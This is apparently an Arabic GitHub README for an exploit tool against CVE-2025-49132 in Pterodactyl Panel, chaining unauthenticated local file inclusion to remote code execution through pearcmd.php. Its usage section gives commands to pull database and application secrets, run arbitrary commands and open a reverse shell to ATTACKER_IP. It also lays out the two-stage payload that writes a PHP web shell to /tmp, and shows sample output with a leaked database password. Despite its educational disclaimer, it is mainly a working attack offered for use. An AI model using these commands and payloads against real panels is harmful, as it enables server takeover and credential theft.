
CVE لـ Pterodactyl (للدراسة والتعليم)
⚠️ إخلاء مسؤولية: تم إنشاء هذا المستودع لأغراض تعليمية وبحثية فقط كجزء من بحثي الأمني لفهم وتوثيق CVE-2025-49132. كل الفضل في اكتشاف الثغرة يعود إلى الباحث(ة) الأصلي(ة).
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pterodactyl Panel - Unauthenticated LFI to RCE Exploit
CVE-2025-49132 هي ثغرة تضمين ملف محلي غير مصادق عليه (LFI) في Pterodactyl Panel يمكن تصعيدها إلى تنفيذ تعليمات برمجية عن بُعد (RCE) عبر pearcmd.php الخاص بـ PHP.
توجد الثغرة في نقطة النهاية /locales/locale.json، التي تفشل في تعقيم المعاملين locale وnamespace بشكل صحيح، مما يسمح للمهاجمين بقراءة ملفات إعدادات PHP التعسفية وتحقيق تنفيذ التعليمات البرمجية.
| الحالة | الإصدار |
|---|---|
| ❌ متأثر | <= 1.11.10 |
| ✅ مُصحَّح | >= 1.11.11 |
pearcmd.php# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# Install dependencies
pip install requests
requestscurl (لوضع RCE)# Read database configuration
python exploit.py -u http://target.com --read -p ../../config -f database
# Read application configuration (contains APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# Read other configurations
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# Single command execution
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# Interactive shell mode
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| التوزيعة | المسار |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
تقبل نقطة النهاية الضعيفة /locales/locale.json المعاملين locale وnamespace:
GET /locales/locale.json?locale=../../config&namespace=database
وهذا يسمح بقراءة أي ملف PHP يعيد مصفوفة، بما في ذلك ملفات إعدادات Laravel.
يربط الاستغلال بين LFI وpearcmd.php لتحقيق RCE:
المرحلة 1: استخدم أمر config-create في pearcmd.php لكتابة قشرة ويب PHP
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
المرحلة 2: ضمّن القشرة المكتوبة عبر LFI
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
DATABASE CONFIGURATION
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale وnamespaceregister_argc_argv في PHPهذه الأداة مخصصة لأغراض التعليم واختبار الاختراق المصرح به فقط.
استخدمها بمسؤولية وأخلاقية.
⭐ امنح هذا المستودع نجمة إذا وجدته مفيدًا!
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| الوسيط | الوصف |
|---|
-u, --url | عنوان الهدف (مطلوب) |
-p, --path | مسار العبور لـ LFI أو مسار PEAR لـ RCE |
-f, --file | ملف PHP للقراءة (بدون امتداد .php) |
--read | تفعيل وضع القراءة LFI |
--rce | تفعيل وضع RCE |
--cmd | الأمر المراد تنفيذه (وضع التنفيذ الفردي) |
--sdir | الدليل لكتابة الشيل (الافتراضي: /tmp) |
--sname | اسم ملف الشيل (الافتراضي: shell) |